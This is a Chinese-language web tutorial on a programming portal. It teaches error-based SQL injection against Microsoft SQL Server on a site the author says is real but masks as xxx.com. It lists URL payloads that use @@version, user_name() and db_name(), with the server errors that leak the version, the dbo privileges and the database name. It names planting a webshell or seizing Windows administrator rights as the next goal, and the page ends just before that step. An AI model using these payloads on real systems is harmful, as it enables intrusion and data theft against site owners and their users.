程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> SqlServer數據庫 >> 關於SqlServer >> 搾干MSSQL Server最後一滴血

搾干MSSQL Server最後一滴血

編輯:關於SqlServer

風雲變換的網絡,網絡安全讓人們不能不關注它。數據庫,讓我們不得不想起強大的ORACLE,MS SQL。微軟的漏洞最多,今天就用SQL INJECTION來讓MS SQL為我們好好的工作。

以下(使用一知名網站作為測試點),相信大家對SQL爆庫,爆表,爆字段都已掌握,在這裡就不多說這方面了。

MS SQL內置函數介紹:

@@VERSION 獲得Windows的版本號,MS SQL的版本號,補丁。 User_name() 得到當前系統的連接用戶 Db_name() 得到當前連接的數據庫 HOST_NAME() 得到當前主機的名稱

這些信息有助我們對系統進行簡單的了解

好,下面我們就開始吧!

語句: http://www.xxx.com/list.asp?classid=1'

返回信息:

Microsoft OLE DB Provider for SQL Server 錯誤 '80040e14' 字符串 ' Order By Id DESC' 之前有未閉合的引號。 /list.asp,行290

從這裡未閉合的引號(“’”),我們可以確定存在SQL INJECTION。發現在漏洞當然接著走了,利用以上介紹的函數為我們工作了:

語句:

http://www.xxx.com/list.asp?classid=1 and 0<>(select @@version)

返回:

Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07' 將 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 轉換為數據類型為 int 的列時發生語法錯誤。 /list.asp,行290

相關的信息出來了,MS SERVER ADVANCED SERVER 2000+SP4, SQL 2000+SP3,從MS SQL SERVER 後面的8.00.760可看出是SP3補丁。看了服務器的信息,接下應該了解數據庫的權限了:

語句:http://www.xxx.com/list.asp?classid=1 and user_name()=’dbo’

返回: 正常返回的信息

確定是權限是DBO,從表面DBO權限的連接用戶經常是涉及SYSADMIN服務器角色成員。說明數據庫服務器角色成員組默認是在每個數據庫增加一個DBO用戶。

返回原理根1=1,1=2相似..這裡只是權限測試,我們也把它爆出來看看:

語句:http://www.xxx.com/list.asp?classid=1 and 0<>(select user_name())

返回:Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07' 將 nvarchar 值 'dbo' 轉換為數據類型為 int 的列時發生語法錯誤。 /list.asp,行290

說明連接數據庫的用戶權限很高,可以確定是服務器角色組中的成員。

語句:http://www.xxx.com/list.asp?classid=1 and 0<>(select db_name())—返回:Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07' 將 nvarchar 值 'GameIMGSys' 轉換為數據類型為 int 的列時發生語法錯誤。 /list.asp,行290

這樣就可以爆出當前的數據庫。得到這麼高權限的數據庫連接成員,我們當然想直接得到WEBSHELL,或是直接拿到NT ADMIN。NT ADMIN取決於當前服務器的配置,如果配置不合理的服務器,我們要直接拿NT ADMIN,拿NT ADMIN就要用到:

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved